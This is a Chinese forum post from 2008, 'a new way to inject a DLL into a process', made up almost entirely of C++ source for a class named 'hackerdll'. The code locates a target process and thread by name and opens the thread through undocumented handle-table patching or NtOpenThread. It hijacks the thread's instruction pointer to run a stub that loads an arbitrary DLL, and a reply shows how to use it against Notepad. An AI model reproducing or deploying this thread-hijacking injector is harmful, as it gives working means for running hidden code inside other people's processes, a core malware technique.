DLL注入进程源码的新方式

-------HEADER   FILE-------
  #ifndef   _INCLUDE_HACKER_DLL_HADER_FILE
  #define   _INCLUDE_HACKER_DLL_HADER_FILE

  #include   <windows.h>
  #include   <shlwapi.h>

  #define   WM_THREADFINISH   WM_USER+1000

  typedef   struct   t_PDB
  {
          WORD     Type;
          WORD     Refcount;
          DWORD   Unk0;
          DWORD   Unk1;
          DWORD   Unk2;
          DWORD   TermStatus;
          DWORD   Unk3;
          DWORD   DefaultHeap;
          DWORD   MemContext;
          DWORD   Flags;
          DWORD   pPsp;
          WORD     PSPSelector;
          WORD     MTEIndex;
          WORD     nThreads;
          WORD     nThreadsNotTerm;
          WORD     Unk5;
          WORD     nR0Threads;
          DWORD   HeapHandle;
          WORD     K16TDBSel;
          WORD     Unk6;
          DWORD   Unk7;
          DWORD   pEDB;
          DWORD   pHandleTable;
          struct   t_PDB   *ParentPDB;
          DWORD   MODREFList;
          DWORD   ThreadList;
          DWORD   DebugeeCB;
          DWORD   LHFreeHead;
          DWORD   InitialR0ID;
  }PDB,*   PPDB;

  typedef   struct   t_TCB
  {
          WORD     Type;
          WORD     RefCount;
          DWORD   Unk1;
          DWORD   pvExcept;
          DWORD   TopOfStack;
          DWORD   BaseOfStack;
          WORD     K16TDB;
          WORD     StackSel16;
          DWORD   Unk2;
          DWORD   UserPointer;
          DWORD   pTIB;
          WORD     TIBflags;
          WORD     Win16MutxCnt;
          DWORD   DebugContext;
          DWORD   PtrToCurPri;
          DWORD   MsgQueue;
          DWORD   pTLSarray;
          PPDB     pParentPDB;
          DWORD   SelmanList;
          DWORD   Unk3;
          DWORD   Flags;
          DWORD   Status;
          WORD     TIBsel;
          WORD     EmulatorSel;
          DWORD   HandleCount;
          DWORD   WaitNodeList;
          DWORD   R0hThread;
          DWORD   ptdbx;
  }TCB,*   PTCB;

  typedef   HINSTANCE   (WINAPI   *   LOADLIBRARY)(LPCTSTR);
  typedef   BOOL   (WINAPI   *   POSTTHREADMESSAGE)(DWORD   idThread,UINT   Msg,WPARAM   wParam,LPARAM   lParam);

  typedef   DWORD   (WINAPI*   OTFUNC)(HANDLE   *,DWORD,void   *,void   *);
  typedef   LPVOID   (WINAPI   *   OBFUNC)(DWORD   dwPTID);

  LPVOID   WINAPI   GetTrueProcAddress(LPSTR   lpMod,LPTSTR   lpFunc);
  HANDLE   WINAPI   OpenThreadNT(DWORD   dwThreadID,BOOL   bInherit);

  class   hackerdll
  {
  public:
  hackerdll(char   *,char   *);
  protected:
  ~hackerdll();
  public:
  void   AddToThread(void);
  protected:
  LPVOID   XORProcessThreadID(DWORD   dwPTID);
  HANDLE   OpenThread2(DWORD   dwThreadID,BOOL   bInherit);
  HANDLE   OpenThreadNT(DWORD   dwThreadID,BOOL   bInherit);
  LPVOID   GetTrueProcAddress(LPSTR   lpMod,LPTSTR   lpFunc);
  DWORD   GetProcessID(LPCTSTR   lpszProcessName);
  DWORD   GetThreadID(DWORD   dwOwnerPID);
  protected:
  bool   initok;
  char   hackerdllfile_[MAX_PATH];
  LPVOID   m_lpCodeBase,m_lpDataBase;
  CONTEXT   m_OldThreadContext;
  HANDLE   m_hInjectThread;
  HANDLE   hdlthd_;
  DWORD   idthd_;
  DWORD   owneridproc,owneridthd;
  DWORD   len_;
  };

  #endif
  -------HEADER   FILE-------

  ------CPP   FILE-------
  #include   "hackerdll.h"

  static   HANDLE   hdlthd__;
  static   CONTEXT   cnt__;

  #pragma   check_stack(off)

  static   void   hackerdllentry(void)
  {
  ((LOADLIBRARY)   0x11111111)((char   *)   0x22222222);

  ((POSTTHREADMESSAGE)   0x33333333)((DWORD)   0x44444444,WM_THREADFINISH,NULL,NULL);

  while(true)
  {
  }
  }

  static   DWORD   FinishCallBack(LPVOID   lpParam)
  {
  MSG   msg_;

  while(memset(&   msg_,NULL,sizeof(MSG)),PeekMessage(&   msg_,NULL,NULL,NULL,PM_REMOVE),msg_.message!=WM_QUIT)
  {
  if(msg_.message==WM_THREADFINISH)
  {
  SuspendThread(hdlthd__);

  cnt__.ContextFlags=CONTEXT_FULL;

  SetThreadContext(hdlthd__,&   cnt__);

  ResumeThread(hdlthd__);

  break;
  }
  }

  return   true;
  }

  #pragma   check_stack(on)

  hackerdll::hackerdll(char   *   hackerdll_,char   *   owner_)
  {
  HINSTANCE   hinstKernel,hinstUser;

  LOADLIBRARY   fnLoadLibrary;

  POSTTHREADMESSAGE   fnPostThreadMessage;

  bool   rt1_,rt2_,rt3_,rt4_;

  this->initok=false;

  this->idthd_=NULL;

  this->hdlthd_=NULL;

  this->m_lpCodeBase=NULL;

  this->m_lpDataBase=NULL;

  this->len_=1024;

  memset(this->hackerdllfile_,NULL,MAX_PATH);

  strcpy(this->hackerdllfile_,hackerdll_);

  this->owneridproc=GetProcessID(owner_);

  this->owneridthd=GetThreadID(this->owneridproc);

  this->m_lpCodeBase=GlobalAlloc(GMEM_FIXED   |   GMEM_SHARE   |   GMEM_ZEROINIT,this->len_);

  this->m_lpDataBase=GlobalAlloc(GMEM_FIXED   |   GMEM_SHARE   |   GMEM_ZEROINIT,this->len_);

  if(this->m_lpCodeBase==NULL   ||   this->m_lpDataBase==NULL)
  {
  return;
  }

  memcpy((BYTE   *)   this->m_lpCodeBase,(BYTE   *)   hackerdllentry,this->len_);

  memcpy((BYTE   *)   this->m_lpDataBase,(BYTE   *)   this->hackerdllfile_,this->len_);

  hinstKernel=GetModuleHandle("Kernel32.dll");

  hinstUser=GetModuleHandle("User32.dll");

  fnLoadLibrary=(LOADLIBRARY)   GetProcAddress(hinstKernel,"LoadLibraryA");

  fnPostThreadMessage=(POSTTHREADMESSAGE)   GetProcAddress(hinstUser,"PostThreadMessageA");

  if(fnLoadLibrary==NULL   ||   fnPostThreadMessage==NULL)
  {
  return;
  }

  this->hdlthd_=CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)   FinishCallBack,NULL,NULL,&   this->idthd_);

  if(this->hdlthd_==NULL)
  {
  return;
  }

  rt1_=false;
  rt2_=false;
  rt3_=false;
  rt4_=false;

  for(DWORD   i=0;i<this->len_;i++)
  {
  DWORD   *   dwPtr=(DWORD   *)   (((BYTE   *)   this->m_lpCodeBase)+i);

  switch(*   dwPtr)
  {
  case   0x11111111:

  rt1_=true;

  *   dwPtr=(DWORD)   fnLoadLibrary;

  break;
  case   0x22222222:

  rt2_=true;

  *   dwPtr=(DWORD)   m_lpDataBase;

  break;
  case   0x33333333:

  rt3_=true;

  *   dwPtr=(DWORD)   fnPostThreadMessage;

  break;
  case   0x44444444:

  rt4_=true;

  *   dwPtr=(DWORD)   this->idthd_;

  break;
  }

  if(rt1_   &&   rt2_   &&   rt3_   &&   rt4_)
  {
  break;
  }
  }

  this->initok=(rt1_   &&   rt2_   &&   rt3_   &&   rt4_);
  }

  hackerdll::~hackerdll()
  {
  Sleep(3000);

  GlobalFree(this->m_lpCodeBase);

  GlobalFree(this->m_lpDataBase);

  TerminateThread(this->hdlthd_,true);

  Sleep(3000);
  }

  LPVOID   hackerdll::XORProcessThreadID(DWORD   dwPTID)
  {
  OBFUNC   obfuscate;
  DWORD   dwMain,*   lpdw,dw1;

  dwMain=(DWORD)   GetTrueProcAddress("Kernel32.dll","GetCurrentThreadId");

  lpdw=(LPDWORD)((DWORD)   dwMain+8);

  dw1=((DWORD)   dwMain+12);

  obfuscate=(OBFUNC)   (dw1+*lpdw);

  return(obfuscate(dwPTID));
  }

  HANDLE   hackerdll::OpenThread2(DWORD   dwThreadID,BOOL   bInherit)
  {
  HANDLE   hThread,hprc;
  LPDWORD   lp1;
  DWORD   dwProcessID,dwWhere,dwTable;
  BOOL   b1;
  PTCB   lpThreadObj;
  PPDB   ppdb;
  OSVERSIONINFO   osvi;

  osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);

  GetVersionEx(&   osvi);

  SetLastError(50);

  if(osvi.dwPlatformId==VER_PLATFORM_WIN32_NT)
  {
                  return   OpenThreadNT(dwThreadID,   bInherit);
  }

  ppdb=(PPDB)   XORProcessThreadID(GetCurrentProcessId());

  lpThreadObj=(PTCB)   XORProcessThreadID(dwThreadID);

  /*   check   to   make   sure   its   valid   */

  if(IsBadReadPtr(lpThreadObj,sizeof(TCB)))
  {
  return   NULL;
  }

  /*   object   type   */

  if(*   (LPBYTE)   lpThreadObj!=7)
  {
  return   NULL;
  }

  dwProcessID   =(DWORD)   XORProcessThreadID((DWORD)lpThreadObj->pParentPDB);

  if(dwProcessID==GetCurrentProcessId())
  {
                  hprc   =   GetCurrentProcess();
  }
  else
  {
                  hprc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessID);

  if(!hprc)
  {
  return   NULL;
  }
  }

  /*
    *   4   is   the   lowest   handle   in   the   table.
    *   All   processes   have   this   handle.
  */

  b1   =   DuplicateHandle(hprc,(HANDLE)   4,GetCurrentProcess(),&   hThread,THREAD_ALL_ACCESS,bInherit,NULL);

  if(hprc!=GetCurrentProcess())
  {
                  CloseHandle(hprc);
  }

  if(!b1)
  {
  return   NULL;
  }

  dwWhere=((DWORD)   hThread)>>2;

  dwTable=ppdb->pHandleTable;

  lp1=(LPDWORD)   (dwTable+(dwWhere*8)+8);

  *   lp1=(DWORD)   lpThreadObj;

  return(hThread);
  }

  HANDLE   hackerdll::OpenThreadNT(DWORD   dwThreadID,BOOL   bInherit)
  {
  HANDLE   hThread   =   NULL;
  DWORD   struct1[]   =   {0x18,   0,   0,   0,   0,   0};
  DWORD   struct2[]   =   {0,dwThreadID};
  HMODULE   hLib   =   LoadLibrary("ntdll.dll");

  OTFUNC   OpenThatNTThread=(OTFUNC)   GetProcAddress(hLib,"NtOpenThread");

  struct1[3]=bInherit;

  OpenThatNTThread(&   hThread,THREAD_ALL_ACCESS,struct1,struct2);

  FreeLibrary(hLib);

  return   hThread;
  }

  LPVOID   hackerdll::GetTrueProcAddress(LPSTR   lpMod,LPTSTR   lpFunc)
  {
  LPVOID   bla;

  bla=GetProcAddress(GetModuleHandle(lpMod),lpFunc);

  if(!bla)
  {
  return   NULL;
  }

  if(*   (LPBYTE)   bla==0x68)
  {
                  bla=(LPVOID)   *   (LPDWORD)   ((DWORD)bla+1);
  }

  return   bla;
  }

  void   hackerdll::AddToThread(void)
  {
  if(!this->initok)
  {
  MessageBox(NULL,"init   fail","fail",MB_OK);

  return;
  }

  this->m_hInjectThread=this->OpenThread2(this->owneridthd,FALSE);

  if(this->m_hInjectThread   &&   this->m_lpCodeBase   &&   this->m_lpDataBase)
  {
  SuspendThread(this->m_hInjectThread);

  CONTEXT   ThreadContext;

  ThreadContext.ContextFlags=CONTEXT_FULL;

  if(GetThreadContext(this->m_hInjectThread,&   ThreadContext))
  {
  this->m_OldThreadContext=ThreadContext;

  ThreadContext.Eip=(DWORD)   this->m_lpCodeBase;

  ThreadContext.ContextFlags=CONTEXT_FULL;

  SetThreadContext(this->m_hInjectThread,&   ThreadContext);
  }

  hdlthd__=this->m_hInjectThread;

  cnt__=this->m_OldThreadContext;

  ResumeThread(this->m_hInjectThread);

  PostThreadMessage(this->owneridthd,WM_NULL,NULL,NULL);
  }
  }

  DWORD   hackerdll::GetProcessID(LPCTSTR   lpszProcessName)
  {
  DWORD   dwRet=NULL;
  char   *   strExePath=NULL;
  char   *   rt_=NULL;

  HANDLE   hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);

  if(hSnapshot!=INVALID_HANDLE_VALUE)
  {
  PROCESSENTRY32   ProcessEntry;

  ZeroMemory(&   ProcessEntry,sizeof(PROCESSENTRY32));

  ProcessEntry.dwSize=sizeof(PROCESSENTRY32);

  BOOL   bFlag=Process32First(hSnapshot,&ProcessEntry);

  while(bFlag)
  {
  strExePath=strdup(ProcessEntry.szExeFile);

  CharUpperBuff(strExePath,strlen(strExePath));

  rt_=strstr(strExePath,lpszProcessName);

  if(free(strExePath),rt_!=NULL)
  {
  dwRet=ProcessEntry.th32ProcessID;

  break;
  }

  ProcessEntry.dwSize=sizeof(PROCESSENTRY32);

  bFlag=Process32Next(hSnapshot,&   ProcessEntry);
  }

  CloseHandle(hSnapshot);
  }

  return   dwRet;
  }

  DWORD   hackerdll::GetThreadID(DWORD   dwOwnerPID)
  {
  DWORD   dwRet=NULL;

  HANDLE   hThreadSnap=NULL;

  THREADENTRY32   te32;

  memset(&   te32,NULL,sizeof(THREADENTRY32));

  hThreadSnap=CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,NULL);

          if(hThreadSnap!=INVALID_HANDLE_VALUE)
  {
  te32.dwSize=sizeof(THREADENTRY32);

  if(Thread32First(hThreadSnap,&   te32))
  {
  do
  {
  if(te32.th32OwnerProcessID==dwOwnerPID)
  {
  dwRet=te32.th32ThreadID;

  break;
  }
  }
  while(Thread32Next(hThreadSnap,   &   te32));
  }

  CloseHandle(hThreadSnap);
          }

  return   dwRet;
  }
  ------CPP   FILE-------

鸡蛋壳 · 2 2008-01-04, 20:41

引用:

最初由 鸡蛋壳发布

-------HEADER   FILE-------
  #ifndef   _INCLUDE_HACKER_DLL_HADER_FILE
  #define   _INCLUDE_HACKER_DLL_HADER_FILE

  #include   <windows....

在使用时,格式是:

  hackerdll   *   hkdll;

  hkdll=new   hackerdll("path//yours.dll","NotePad.exe");

  hkdll->AddToThread();

  delete   hkdll;

  如果成功,则你的DLL被家到NotePad.exe中了.

可以在CLASS的构造的最后加:

  /*
  DWORD   l_;

  l_=(DWORD)   FinishCallBack-(DWORD)   hackerdllentry;

  memcpy((BYTE   *)   &   this->m_lpCodeBase,(BYTE   *)   &   hackerdllentry,l_);

  hackerdllentry();
  */
  this->initok=(rt1_   &&   rt2_   &&   rt3_   &&   rt4_);

  当把注释那掉后,hackerdllentry运行的结果就是我们要地

DLL注入进程源码的新方式

相关推荐